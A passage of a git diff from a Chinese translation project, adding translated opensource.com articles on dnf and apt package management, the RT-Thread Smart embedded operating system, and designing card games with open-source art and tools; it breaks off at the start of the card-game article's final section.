https://opensource.com/sites/default/files/uploads/mplayer.png (You can use Mplayer to listen to MP3 files) +[5]: https://creativecommons.org/licenses/by-sa/4.0/ +[6]: https://www.cubic.org/player/ +[7]: https://commons.wikimedia.org/wiki/File:Linus-linux.ogg +[8]: https://www.ibiblio.org/pub/micro/pc-stuff/freedos/files/util/sillysounds/ +[9]: https://www.ibiblio.org/ +[10]: https://opensource.com/article/21/6/freedos-package-manager +[11]: https://opensource.com/sites/default/files/uploads/opencp1.png (Open Cubic Player opens with a file selector) +[12]: https://opensource.com/sites/default/files/uploads/opencp2.png (Open Cubic Player playing the "FreeDOS" audio clip) diff --git a/published/202205/20210617 Linux package management with dnf.md b/published/202205/20210617 Linux package management with dnf.md new file mode 100644 index 0000000000..a2cb4a8853 --- /dev/null +++ b/published/202205/20210617 Linux package management with dnf.md @@ -0,0 +1,177 @@ +[#]: subject: (Linux package management with dnf) +[#]: via: (https://opensource.com/article/21/6/dnf-linux) +[#]: author: (Seth Kenlon https://opensource.com/users/seth) +[#]: collector: (lujun9972) +[#]: translator: (hanszhao80) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14542-1.html) + +使用 dnf 进行 Linux 包管理 +====== + +> 了解如何在 Linux 上使用 `dnf` 命令安装软件包,然后下载我们的速查表,让正确的命令触手可及。 + +![](https://img.linux.net.cn/data/attachment/album/202205/04/101526nlsnpu34ppgscsch.jpg) + +在计算机系统上安装应用程序非常简单:就是将档案(如 `.zip` 文件)中的文件复制到目标计算机上,放在操作系统预期放应用程序的位置。因为我们中的许多人习惯于使用花哨的安装“向导”来帮助我们在计算机上安装软件,所以这个过程似乎在技术上应该比实际更复杂。 + +然而,复杂的是,是什么构成了一个程序?用户认为的单个应用程序实际上包含了分散在操作系统中的软件库的各种依赖代码(例如:Linux 上的 .so 文件、Windows 上的 .dll 文件和 macOS 上的 .dylib 文件)。 + +为了让用户不必担心这些程序代码之间的复杂的互相依赖关系, Linux 使用 包管理系统package management system 来跟踪哪些应用程序需要哪些库,哪些库或应用程序有安全或功能更新,以及每个软件会附带安装哪些额外的数据文件。包管理器本质上是一个安装向导。它们易于使用,提供了图形界面和基于终端的界面,让你的生活更轻松。你越了解你的发行版的包管理器,你的生活就会越轻松。 + +### 在 Linux 上安装应用程序 + +如果你在使用 Linux 桌面时,偶尔想要安装一个应用程序,那么你可能正在寻找 [GNOME “软件”][2],它是一个桌面应用程序浏览器。 + +![GNOME “软件” 程序][3] + +它会按你的预期工作:点击它的界面,直到你找到一个看起来有用的应用程序,然后单击 “安装” 按钮。 + +或者,你可以在 GNOME “软件” 中打开从网络下载的 `.rpm` 或 `.flatpakref` 软件包,以便它进行安装。 + +但如果你更倾向于使用命令行,请继续阅读。 + +### 用 dnf 搜索软件 + +在安装应用程序之前,你可能需要确认它是否存在于你的发行版的服务器上。通常,使用 `dnf` 搜索应用程序的通用名称就足够了。例如,假设你最近阅读了 [一篇关于 Cockpit 的文章][4],并决定尝试一下。你可以搜索 `cockpit` 验证该发行版是否包含它: + +``` +$ dnf search cockpit + Last metadata expiration check: 0:01:46 ago on Tue 18 May 2021 19:18:15 NZST. + ==== Name Exactly Matched: cockpit ==== + cockpit.x86_64 : Web Console for Linux servers + +==== Name & Summary Matched: cockpit == + cockpit-bridge.x86_64 : Cockpit bridge server-side component + cockpit-composer.noarch : Composer GUI for use with Cockpit + [...] +``` + +有一个精确的匹配。上面列出的匹配的软件包名为 `cockpit.x86_64`,但名称中的 `.x86_64` 部分仅表示它兼容该 CPU 架构。默认情况下,你的系统会安装适配当前 CPU 架构的软件包,因此你可以忽略该扩展名。所以你确认你要查找的软件包确实简称为 `cockpit`。 + +现在你可以放心地使用 `dnf install` 安装它。 此步骤需要管理员权限: + +``` +$ sudo dnf install cockpit +``` + +一般来说,这就是典型的 `dnf` 工作流:搜索并安装。 + +然而,有时 `dnf search` 的结果并不清晰,或者你想要关于一个软件包的更多信息,而不仅仅是它的通用名称。有一些相关的 `dnf` 子命令,具体取决于你想要的信息。 + +### 软件包的元数据 + +如果你觉得你的搜索已 _接近_ 想要的结果,但还不确定,查看软件包的元数据通常会有所帮助,例如项目的网址和描述。要获取此信息,请使用顾名思义的 `dnf info` 命令: + +``` +$ dnf info terminator +Available Packages +Name : terminator +Version : 1.92 +Release : 2.el8 +Architecture : noarch +Size : 526 k +Source : terminator-1.92-2.el8.src.rpm +Repository : epel +Summary : Store and run multiple GNOME terminals in one window +URL : https://github.com/gnome-terminator +License : GPLv2 +Description : Multiple GNOME terminals in one window. This is a project to produce + : an efficient way of filling a large area of screen space with + : terminals. This is done by splitting the window into a resizeable + : grid of terminals. As such, you can produce a very flexible + : arrangements of terminals for different tasks. +``` + +这个信息告诉你可用软件包的版本、在你系统中注册的哪一个存储库提供了它、该项目的网站以及详细的功能描述。 + +### 哪个软件包提供的这个文件? + +软件包名称并不总是与你要查找的内容相匹配。例如,假设你正在阅读的文档告诉你必须安装名为 `qmake-qt5` 的东西: + +``` +$ dnf search qmake-qt5 +No matches found. +``` + +`dnf` 数据库非常广泛,因此你不要局限于搜索完全匹配的内容。你可以使用 `dnf provides` 命令来了解你正在寻找的东西是否作为某个更大的软件包的一部分而提供: + +``` +$ dnf provides qmake-qt5 +qt5-qtbase-devel-5.12.5-8.el8.i686 : Development files for qt5-qtbase +Repo : appstream +Matched from: +Filename : /usr/bin/qmake-qt5 + +qt5-qtbase-devel-5.15.2-3.el8.x86_64 : Development files for qt5-qtbase +Repo : appstream +Matched from: +Filename : /usr/bin/qmake-qt5 +``` + +可以确认应用程序 `qmake-qt5` 是名为 `qt5-qtbase-devel` 的软件包的一部分。它还告诉你,该应用程序会安装到 `/usr/bin`,因此你知道了安装后它的确切位置。 + +### 软件包中包含哪些文件? + +有时我发现自己会从完全不同的角度来对待 `dnf`。有时,我已经确认我的系统上安装了一个应用程序;我只是不知道我是怎么得到它的。还有一些时候,我知道我安装了一个特定的软件包,但我不清楚这个软件包到底在我的系统上安装了什么。 + +如果你需要对包的有效负载payload进行 “逆向工程reverse engineer”,可以使用 `dnf repoquery` 命令和 `--list` 选项。这将查看存储库中有关软件包的元数据,并列出该软件包提供的所有文件: + +``` +$ dnf repoquery --list qt5-qtbase-devel +/usr/bin/fixqt4headers.pl +/usr/bin/moc-qt5 +/usr/bin/qdbuscpp2xml-qt5 +/usr/bin/qdbusxml2cpp-qt5 +/usr/bin/qlalr +/usr/bin/qmake-qt5 +/usr/bin/qvkgen +/usr/bin/rcc-qt5 +[...] +``` + +这些列表可能很长,使用 `less` 或你喜欢的分页命令配合管道操作会有所帮助。 + +### 移除应用程序 + +如果你决定系统中不再需要某个应用程序,可以使用 `dnf remove` 卸载它,该软件包本身安装的文件以及不再需要的任何依赖项都会被移除: + +``` +$ dnf remove bigapp +``` + +有时,你发现随着一个应用程序一起安装的依赖项对后来安装的其他应用程序也有用。如果两个包需要相同的依赖项,`dnf remove` _不会_ 删除依赖项。在安装和卸载大量应用程序之后,孤儿软件包散落各处的现象并不少见。大约每年我都要执行一次 `dnf autoremove` 来清除所有未使用的软件包: + +``` +$ dnf autoremove +``` + +这不是必需的,但这是一个让我的电脑感觉更好的大扫除步骤。 + +### 了解 dnf + +你对包管理器的工作方式了解得越多,在必要时安装和查询应用程序就越容易。即便你不是 `dnf` 的重度使用者,当你发现自己与基于 RPM 的发行版交互时,了解它也会很有用。 + +告别 `yum` 后,我最喜欢的包管理器之一是 `dnf` 命令。虽然我不喜欢它的所有子命令,但我发现它是目前最健壮的 包管理系统package management system 之一。 [下载我们的 dnf 速查表][5] 习惯该命令,不要害怕尝试一些新技巧。一旦熟悉了它,你可能会发现很难使用其他任何东西替代它。 + +> **[dnf 速查表][5]** + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/6/dnf-linux + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[hanszhao80](https://github.com/hanszhao80) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/brown-package-red-bow.jpg?itok=oxZYQzH- (Package wrapped with brown paper and red bow) +[2]: https://wiki.gnome.org/Apps/Software +[3]: https://opensource.com/sites/default/files/gnome-software.png (The GNOME Software app) +[4]: https://opensource.com/article/20/11/cockpit-server-management +[5]: https://opensource.com/downloads/dnf-cheat-sheet diff --git a/published/202205/20210624 Linux package management with apt.md b/published/202205/20210624 Linux package management with apt.md new file mode 100644 index 0000000000..719f02d766 --- /dev/null +++ b/published/202205/20210624 Linux package management with apt.md @@ -0,0 +1,184 @@ +[#]: subject: (Linux package management with apt) +[#]: via: (https://opensource.com/article/21/6/apt-linux) +[#]: author: (Chris Hermansen https://opensource.com/users/clhermansen) +[#]: collector: (lujun9972) +[#]: translator: (hanszhao80) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14558-1.html) + +使用 apt 进行 Linux 包管理 +====== + +> 学习如何使用 apt 命令在基于 Debian 的 Linux 发行版上安装软件包,然后下载我们的速查表,让正确的命令触手可及。 + +![](https://img.linux.net.cn/data/attachment/album/202205/07/104236md5zqhpub9vqeaah.jpg) + +[包管理器][2] 可帮助你处理 Linux 系统的计算机上软件的更新、卸载、故障排除等问题。Seth Kenlon 写了 [使用 dnf 进行 Linux 包管理][3] 一文,介绍了如何使用 `dnf` 这款命令行包管理工具,在 RHEL、CentOS、Fedora、Mageia、OpenMandriva 等 Linux 发行版中安装软件。 + +Debian 和基于 Debian 的发行版(例如 MX Linux、Deepin、Ubuntu)以及基于 Ubuntu 的发行版(例如 Linux Mint 和 Pop!_OS)都有 `apt`,这是一个“相似但不同”的工具。在本文中,我将按照 Seth 的示例(但使用 `apt`)向你展示如何使用它。 + +在一开始,我想先提一下四个跟 `apt` 相关的软件安装工具: + + * [Synaptic][4] 是为 `apt` 服务的一个基于 GTK+ 的图形用户界面(GUI)的前端工具。 + * [Aptitude][5] 是为 `apt` 服务的一个基于 Ncurses 的全屏命令行前端工具。 + * `apt` 的前身有 `apt-get`、`apt-cache` 等工具。 + * [Dpkg][6] 是在 `apt` 包管理器背后处理繁杂事务的”幕后工作者“。 + +还有其他的包管理系统,例如 [Flatpak][7] 和 [Snap][8],你可能会在 Debian 和基于 Debian 的系统上遇到它们,但我不打算在这里讨论。还有一些应用程序“商店”,例如 [GNOME “软件”][9],与 `apt` 和其他打包技术重叠;我也不打算在这里讨论它们。最后,还有其他 Linux 发行版,例如 [Arch][10] 和 [Gentoo][11] 既不使用 `dnf` 也不使用 `apt`,我也不打算在这里讨论它们! + +上面我讲了这么多我不想提及的内容,你可能怀疑 `apt` 到底还能处理多少软件。这么说吧,在我的 Ubuntu 20.04 上,`apt` 可以让我使用 69,371 个软件包,从 `0ad`(一款古代战争题材的即时战略游戏)到 `zzuf`(一个透明的应用程序模糊测试工具),一点也不差。 + +### 使用 apt 搜索软件 + +使用 `apt` 软件包管理器的第一步是找到感兴趣的软件包。Seth 的 `dnf` 文章以 [Cockpit][12] 服务器管理应用程序为例。用 `apt` 我会输入如下命令: + +``` +$ apt search cockpit +Sorting... Done +Full Text Search... Done +389-ds/hirsute,hirsute 1.4.4.11-1 all +  389 Directory Server suite - metapackage + +cockpit/hirsute,hirsute 238-1 all +  Web Console for Linux servers + +... +$ +``` + +上面的第二个包就是你要的那个(以 `cockpit/hirsute` 开头的那一行)。如果你决定要安装它,输入: + +``` +$ sudo apt install cockpit +``` + +`apt` 将负责安装 Cockpit 以及使其工作所需的所有部件或 _依赖_。有时我们不太确定这是我们所需要的。了解更多的信息可能有助于你决定是否真的要安装此应用程序。 + +### 包元数据 + +要了解有关软件包的更多信息,使用 `apt show` 命令: + +``` +$ apt show cockpit +Package: cockpit +Version: 238-1 +Priority: optional +Section: universe/admin +Origin: Ubuntu +Maintainer: Ubuntu Developers +Original-Maintainer: Utopia Maintenance Team +Bugs: https://bugs.launchpad.net/ubuntu/+filebug +Installed-Size: 88.1 kB +Depends: cockpit-bridge (>= 238-1), cockpit-ws (>= 238-1), cockpit-system (>= 238-1) +Recommends: cockpit-storaged (>= 238-1), cockpit-networkmanager (>= 238-1), cockpit-packagekit (>= 238-1) +Suggests: cockpit-doc (>= 238-1), cockpit-pcp (>= 238-1), cockpit-machines (>= 238-1), xdg-utils +Homepage: https://cockpit-project.org/ +Download-Size: 21.3 kB +APT-Sources: http://ca.archive.ubuntu.com/ubuntu hirsute/universe amd64 Packages +Description: Web Console for Linux servers + The Cockpit Web Console enables users to administer GNU/Linux servers using a + web browser. + . + It offers network configuration, log inspection, diagnostic reports, SELinux + troubleshooting, interactive command-line sessions, and more. + +$ +``` + +特别要注意的是 `Description` 字段,它会告诉你更多关于应用程序的信息。`Depends` 字段说明还必须安装什么,而 `Recommends` 则显示建议安装的其他(如果有的话)合作组件。`Homepage` 字段会提供一个网址,通过它你可以了解更多。 + +### 哪个包提供的这个文件? + +有时你并不知道包名,但你知道包里一定包含着的某个文件。Seth 以 `qmake-qt5` 程序作为示例。使用 `apt search` 找不到它: + +``` +$ apt search qmake-qt5 +Sorting... Done +Full Text Search... Done +$ +``` + +但是,另一个有关联的命令 `apt-file` 可以用来探索包内部: + +``` +$ apt-file search qmake-qt5 +qt5-qmake-bin: /usr/share/man/man1/qmake-qt5.1.gz +$ +``` + +这时会显示一个 `qmake-qt5` 的手册页。它是一个名为 `qt5-qmake-bin` 的包的一部分。注意,此包名称颠倒了字符串 `qmake` 和 `qt5` 的顺序。 + +### 包里包含哪些文件? + +方便的 `apt-file` 命令会列出给定的包中包含哪些文件。例如: + +``` +$ apt-file list cockpit +cockpit: /usr/share/doc/cockpit/TODO.Debian +cockpit: /usr/share/doc/cockpit/changelog.Debian.gz +cockpit: /usr/share/doc/cockpit/copyright +cockpit: /usr/share/man/man1/cockpit.1.gz +cockpit: /usr/share/metainfo/cockpit.appdata.xml +cockpit: /usr/share/pixmaps/cockpit.png +$ +``` + +注意,这与 `apt show` 命令提供的信息不同,后者列出了包的依赖(其他必须安装的包)。 + +### 移除一个应用程序 + +你还可以使用 `apt` 移除软件包。例如,要移除`apt-file` 应用程序: + +``` +$ sudo apt purge apt-file +``` + +注意必须由超级用户运行 `apt` 才能安装或移除应用程序。 + +移除一个包并不会自动移除 `apt` 在此过程中安装的所有依赖项。不过,一点点的工作就很容易去除这些残留: + +``` +$ sudo apt autoremove +``` + +### 认识一下 apt + +正如 Seth 所写的,“你对包管理器的工作方式了解得越多,在需要安装和查询应用程序时就会越容易。” + +即便你不是 `apt` 的重度使用者,当你需要在命令行中安装或删除软件包时(例如,在一台远程服务器上或遵循某些热心肠发布的操作指南时),掌握一些 `apt` 的知识也会很有用。在某些软件创作者仅提供了一个裸 `.pkg` 文件的情况下,可能还需要了解一些关于 dpkg 的知识(如上所述)。 + +我发现 Synaptic 包管理器在我的桌面上是一个非常有用的工具,但出于各种目的,我也在少数维护的服务器上使用着 `apt`。 + +[下载我们的 apt 速查表][15] 习惯该命令并尝试一些新技巧。一旦你这样做了,你可能会发现很难再使用其他任何东西。 + +> **[apt 速查表][15]** + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/6/apt-linux + +作者:[Chris Hermansen][a] +选题:[lujun9972][b] +译者:[hanszhao80](https://github.com/hanszhao80) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/clhermansen +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/bash_command_line.png?itok=k4z94W2U (bash logo on green background) +[2]: https://opensource.com/article/21/2/linux-package-management +[3]: https://linux.cn/article-14542-1.html +[4]: https://www.nongnu.org/synaptic/ +[5]: https://wiki.debian.org/Aptitude +[6]: https://wiki.debian.org/Teams/Dpkg +[7]: https://flatpak.org/ +[8]: https://snapcraft.io/ +[9]: https://wiki.gnome.org/Apps/Software +[10]: https://archlinux.org/ +[11]: https://www.gentoo.org/ +[12]: https://opensource.com/article/20/11/cockpit-server-management +[13]: mailto:ubuntu-devel-discuss@lists.ubuntu.com +[14]: mailto:pkg-utopia-maintainers@lists.alioth.debian.org +[15]: https://opensource.com/downloads/apt-cheat-sheet diff --git a/published/202205/20210710 A new open source operating system for embedded systems.md b/published/202205/20210710 A new open source operating system for embedded systems.md new file mode 100644 index 0000000000..2674c8d4dc --- /dev/null +++ b/published/202205/20210710 A new open source operating system for embedded systems.md @@ -0,0 +1,91 @@ +[#]: subject: (A new open source operating system for embedded systems) +[#]: via: (https://opensource.com/article/21/7/rt-thread-smart) +[#]: author: (Zhu Tianlong https://opensource.com/users/zhu-tianlong) +[#]: collector: (lujun9972) +[#]: translator: (tendertime) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14552-1.html) + +一种新的开源嵌入式操作系统 +====== + +> RT-Thread Smart 致力于物联网和边缘计算领域的开源。 + +![](https://img.linux.net.cn/data/attachment/album/202205/06/131909kdb7f966j22qf7o9.jpg) + +目前对 [嵌入式操作系统][2] 有巨大的需求,你建立的操作系统最好是开源的。[RT-Thread][3] 项目的研发团队花了两年时间,研发出了该项目的最新成果:RT-Thread Smart。这是一款微内核的操作系统,主要针对中高端的处理器,如具有内存管理单元(MMU)的 RISC-V 或 Arm Cortex-A,为嵌入式领域的所有行业提供了一个具有竞争力的、基于 POSIX 的软件平台。 + +### 谁需要 RT-Thread Smart? + +RT-Thread Smart 是一款专业的、高性能的微内核操作系统,用于实时应用。它为所有市场的嵌入式设备提供了开源基础,如安全(IP 摄像头)、工业控制、车载设备、消费电子及其他嵌入式科技应用,可谓一切场景。它的意义在于:不像传统的物联网操作系统,一个微内核的操作系统可以填补传统实时操作系统 RTOS 和相对大型的操作系统如 Linux 之间的空白,实现实时性能、成本、安全、启动速度等等各方面之间的最佳平衡。 + +### RT-Thread Smart 的架构 + +RT-Thread Smart 通过 MMU 和系统调用将系统分割为内核模式和用户模式,并为每种模式区分了地址空间(一个 32 位系统可以提供 4G 地址空间)。 + +![RT-Thread Smart 架构][4] + +(RT-Thread, [CC BY-SA 4.0][5]) + +RT-Thread Smart 内核包括平台的基础功能,并支持定制化。RT-Thread Smart 的用户应用环境使用 [musl libc][6] 来提供 [POSIX][7] 接口调用和 C 语言的运行时支持。它也继承了原始的 RT-Thread 生态系统,使用 [SCons][8] 或者其他编译工具如 [Autotools][9]、Makefile、[CMake][10] 等等来支持开发,以及 RT-Thread 开箱即用的在线软件包(撰写本文时超过 342 个)。你甚至可以将 Linux 应用程序(如 wget/cURL、BusyBox、OpenSSL 和 Simple DirectMedia Layer)移植到你的平台。 + +压缩的 RT-Thread Smart 内核仅 217 KB,搭配一个 127 KB 的根文件系统。大约 2 MB的存储占用。包括了对文件系统、网络协议栈、多媒体的完整支持。RT-Thread 只需要 3 到 5 秒完成启动,而在不运行其他功能组件时,RT-Thread Smart 需要的启动及准备时间不到 500ms。 + +通过其集成的 Persimmon 用户界面(UI)组件,RT-Thread Smart 从上电到运行 UI 需要大约 1 秒。换句话说,这是一个非常轻巧快速的系统。当然,“实时”不是指启动,而是指系统随着时间推进而表现出的一致性。对于 RT-Thread ,实时性能需要优先考虑,中断时延小于 1μs,满足大部分实时性要求严格的场景需求。 + +### RT-Thread Smart 和 RT-Thread + +你可能想知道 RT-Thread Smart 和 RT-Thread 之间的不同。简单来说, RT-Thread Smart 是一个基于 RT-Thread RTOS 的操作系统,但它整合了用户态的处理过程。RT-Smart 的内核部分本质上是 RT-Thread RTOS,它在虚拟地址上运行,增加了进程管理,使用进程间通信机制(IPC)、虚拟内存/地址空间管理、ELF 加载器等等,以上特性全部在 RT-Thread RTOS 内实现,当这些组件被禁用时,RT-Smart 会回归 RT-Thread RTOS。 + +以下是对比: + +| | RT-Thread | RT-Thread Smart + :-----| :----: | :----: +支持芯片 | Cortex-M/R、RISC-V RV32IMAC(以及类似)、Cortex-A MPU | Cortex-A 等具有 MMU 的 MPU +编译 | 内核和应用都编译到一个镜像 | 内核和应用可以被分开编译和运行 +存储 | 使用线性地址空间(即使有 MMU),使用物理地址的虚拟寻址 | 运行在内核占用超过 1GB 的 32 位操作系统,拥有完整 4G 地址空间的用户态进程彼此隔离,外设驱动程序必须通过虚拟地址访问外设 +运行错误 | 当一个应用程序失败时,整个系统就会崩溃 | 当应用程序失败时,它不会影响内核和其他进程的执行 +运行模式 | 多线程模型 | 多进程模型(进程内支持多线程,内核线程由内核支持) +用户模型 | 单用户模型 | 单用户模型 +API | RT-Thread API、POSIX PSE52 | RT-Thread API(内核态和用户态),以及完整的 POSIX API +实时性 | 抢占式硬实时系统 | 抢占式硬实时系统 +资源使用 | 非常小 | 相对小 +调试 | 通常需要模拟器调试 | 支持 GDB 调试,不需要模拟器 + +RT-Thread RTOS 非常紧凑,它的所有应用和子系统都编译到镜像中,多线程应用运行并分享相同的地址空间。 + +RT-Thread Smart 是独立的。系统和应用是分别编译和运行的。应用拥有完整且互相隔离的地址空间。它也继承了 RT-Thread 优秀的实时性,同时也具有 POSIX 环境的特性。 + +类似地,它们都与 RT-Thread API 兼容。RT-Thread RTOS 的应用可以被平滑移植到 RT-Thread Smart。 + +### 嵌入式开源 + +RT-Thread Smart 是一个开源项目,项目地址:[GitHub][11]。你可以下载代码和文档,尝试一下,并提交评论和反馈,将该项目传播给更多开源倡导者。嵌入式系统属于它们的用户,有太多的嵌入式开发人员没有找到太多可用的嵌入式系统。 + +如果你是开发人员,请帮助改进 RT-Thread Smart。随着 RT-Thread 项目的不断推进,我们希望创建物联网和边缘计算的令人激动的开源世界。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/7/rt-thread-smart + +作者:[Zhu Tianlong][a] +选题:[lujun9972][b] +译者:[tendertime](https://github.com/tendertime) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/zhu-tianlong +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/LAW-Internet_construction_9401467_520x292_0512_dc.png?itok=RPkPPtDe (An intersection of pipes.) +[2]: https://opensource.com/article/20/6/open-source-rtos +[3]: https://www.rt-thread.io/ +[4]: https://opensource.com/sites/default/files/uploads/rt-thread-smart.png (RT-Thread Smart architecture) +[5]: https://creativecommons.org/licenses/by-sa/4.0/legalcode +[6]: https://musl.libc.org/ +[7]: https://opensource.com/article/19/7/what-posix-richard-stallman-explains +[8]: https://scons.org/ +[9]: https://opensource.com/article/19/7/introduction-gnu-autotools +[10]: https://opensource.com/article/21/5/cmake +[11]: https://github.com/RT-Thread/rt-thread/tree/rt-smart diff --git a/published/202205/20211213 How I use open source to design my own card games.md b/published/202205/20211213 How I use open source to design my own card games.md new file mode 100644 index 0000000000..b2d051df18 --- /dev/null +++ b/published/202205/20211213 How I use open source to design my own card games.md @@ -0,0 +1,111 @@ +[#]: subject: "How I use open source to design my own card games" +[#]: via: "https://opensource.com/article/21/12/open-source-card-game" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lujun9972" +[#]: translator: "hadisi1993" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14551-1.html" + +我如何利用开源设计自己的卡牌游戏 +====== + +> 开源并不仅仅指的是软件。开源是一种文化现象,自然也适合桌面游戏。 + +![](https://img.linux.net.cn/data/attachment/album/202205/06/094320k8uug3i84pg8u0w2.jpg) + +我喜欢优秀的游戏,尤其是桌游,因为桌游的很多特性都和开源相同。在现实生活中,当你和朋友围坐在桌旁一起玩卡牌游戏时,作为一个团队,你们可以一起决定小丑牌是不是万能的。还有,你们可以随意地决定当出了小丑牌后,手上有 Ace 牌的人的要不要舍弃 Ace 牌,或者出了方块皇后以后,每个人是不是都要把手上的牌传给右手边的人。换句话说,你们可以随心所欲地重新制定规则,因为游戏不过是参与者们一致认同的条件集合罢了。对我来说,更棒的是你可以发明自己的游戏,而不用破坏别人的游戏规则。有时候,我会作为一个业余爱好者来开发桌游。因为我喜欢把自己的爱好结合起来,所以我倾向于只使用开源和开放的文化资源来设计游戏。 + +首先,游戏有大致有两个关键特征,风格和机制,理解这一点非常重要。游戏风格指的是游戏的故事或者主题,游戏机制指的是游戏的规则和条件。这两者并不总是完全脱离的,举个例子,在设计一款以赛车为主题的游戏时,自然而然就会要求玩家迅速完成动作。然而,风格和机制通常是被分开对待的,所以我们完全可以为了好玩就去创造一款使用标准扑克牌,却以太空羊驼为主题的游戏。 + +### 开源美术 + +如果你去过现代艺术博物馆,你可能会发现自己站在一幅纯蓝色的画布前,无意中听到有人说起老话:“见鬼,这我也能做!”。但事实是,艺术是一项艰巨的工作。创作赏心悦目的艺术品需要付出大量的思考、时间、信心和技巧。这也意味着艺术是你在设计游戏时中最难采购的部分之一。 + +我有一些“技巧”来解决这个典型难题。 + +#### 1、寻找同类素材 + +现在有很多免费、开放的艺术作品,而且大部分质量上佳。问题在于,游戏通常需要不止一件作品。如果你正在设计一款纸牌游戏,你大概至少需要四到六个不同的元素(假设你的纸牌遵循塔罗牌风格),有可能还需要更多。如果你花足够多的时间在这上面,你可以在 [OpenGameArt.org][3]、[FreeSVG.org][4]、[ArtStation.com][5]、[DeviantArt.com][6] 等网站上找到[知识共享和公共领域][2]Creative Commons and Public Domain的艺术作品。 + +如果你使用的网站没有专门搜索知识共享Creative Commons的功能,输入以下文字到任何搜索引擎当中,`"This work is licensed under a Creative Commons"` 或 `"本工作处于知识共享许可协议之下"`(引号很重要,不要把它们漏了),并用搜索引擎要求的语法,以便将搜索限制到一个具体的站点当中(举个例子,`site:deviantart.com`)。 + +一旦你有了一个可供挑选素材的艺术库,那就去辨别这些作品的主题,并根据主题分类。两个不同的人拍摄的机器人的照片可能看起来一点都不像,但它们的主题都是机器人。如果提供给你足够多机器人相关的美术素材,你可以围绕机器人这个主题构建你的游戏风格。 + +#### 2、委托创作知识共享艺术 + +你可以雇艺术家来为你定制艺术作品。我与使用开源绘画程序(如 [Krita][7] 和 Mypaint)的艺术家一起合作。同时,作为合同的一部分,我规定艺术作品必须在知识共享署名-相同方式许可证Creative Commons Attribution-ShareAlike(CC BY-SA)下授权。迄今为止,只有一位艺术家因为许可证的限制拒绝了我的提议,并且大多数人都很高兴自己的美术作品有可能有更大的生命力,而不仅仅是作为业余爱好者自己发行的游戏的一部分。 + +#### 3、创作自己的艺术 + +就像现代艺术馆之旅展示的那样,艺术是一个非常灵活的词。我发现只要我给自己设定一个目标,也就是我需要为一款游戏创造多少纸牌或令牌,我便能够从 Linux 上的丰富图像创造工具中选择一种去创作。这并不需要什么高难度的东西。就像现代艺术一样,你可以用蓝色和黄色的条纹,或者红色和白色的圆点花纹,或者绿色和紫色的锯齿线来涂一张卡片,只要你能把它们画出来,那么除了你以外,其他人永远不会知道你暗地里把它们当做仙宫里的贵族和小姐。想想看,通过运用图形应用程序,描摹日常物品的照片,重组经典的扑克花色和塔罗牌主题等一系列方式,你可以创造出的简单作品吧。 + +### 版面设计 + +我用 [Inkscape][8]、Scribus 或者 [GIMP][9] 来进行版面设计,这取决与我有什么素材以及我追求的设计方式是什么。 + +对于卡牌,我发现简单的版面设计很容易实现,看上去也更好,纯色比渐变色更容易印刷,还有,直观的图像是最棒的。 + +![layout in Inkscape][10] + +(Seth Kenlon, CC BY-SA 4.0) + +我在一个单独的 Inkscape 文件中为我最新的游戏做了版面设计,这个游戏只使用了来自 OpenGameArt.com 上三四个不同艺术家的九张图片。在有着更大的美工集,更好的卡牌多样性的游戏中,我会在游戏中的每一种卡片的文件中为它们设计版面。 + +在为你的游戏素材做任何版面设计之前,要先了解你的目标输出是什么。如果你打算在家里打印游戏,那就做一些计算,搞清楚默认的纸张大小(有些是 US Letter,或者是 A4)可以容纳多少卡牌、令牌或卡片。如果你使用 [TheGameCrafter][11] 之类的桌游打印机打印,请下载好模板文件。 + +![printed cards][12] + +(Seth Kenlon, CC BY-SA 4.0) + +### 游戏机制 + +游戏机制是游戏中最重要的部分。它们使一款游戏成为游戏。开发游戏规则并不一定是一个正式的过程。你可以一时兴起地创造了一款游戏,可以拿一个现有的游戏重组它的规则,直到它和原来不同,可以修改一款你不喜欢的游戏,也可以将两款不同的游戏组合在一起。从简单容易的地方做起,拿索引卡,标准扑克牌,或塔罗牌去试着模拟你的想象中游戏是如何工作的。你可以自己尝试早期的游戏创意,但最终,让朋友来帮忙是找出意外故障和进行优化的好方法。 + +经常测试游戏。与不同类型的玩家一起玩游戏,并听取他们的反馈。你的游戏可能会激发许多玩家去创造新的规则和想法,因此要将关于 _哪些搞砸了_ 的反馈与关于 _哪些可以做修改_ 的反馈分开。你不一定要去真的实施这些反馈意见,只需迭代你的想法,但还是要仔细考虑错误报告。 + +一旦确定了你想要让你的规则如何运作,就把它们写下来,让它们 [简短且容易解析][13]。你定的规则不必说服玩家去玩这款游戏,不必向他们解释策略,你也不必允许玩家重新设置规则,只要告诉玩家为了让游戏玩起来,他们应该采取的步骤就可以了。 + +最重要的是,考虑一下,将你的规则开源。分享经验是游戏的一切,这其中也应该包括规则。知识共享或开放游戏许可证Open Gaming License的规则集合允许其他玩家在你的作品上进行迭代、混合和构建。你永远不会知道,有人可能会因此想出一个你更喜欢的游戏变体! + +### 开源游戏 + 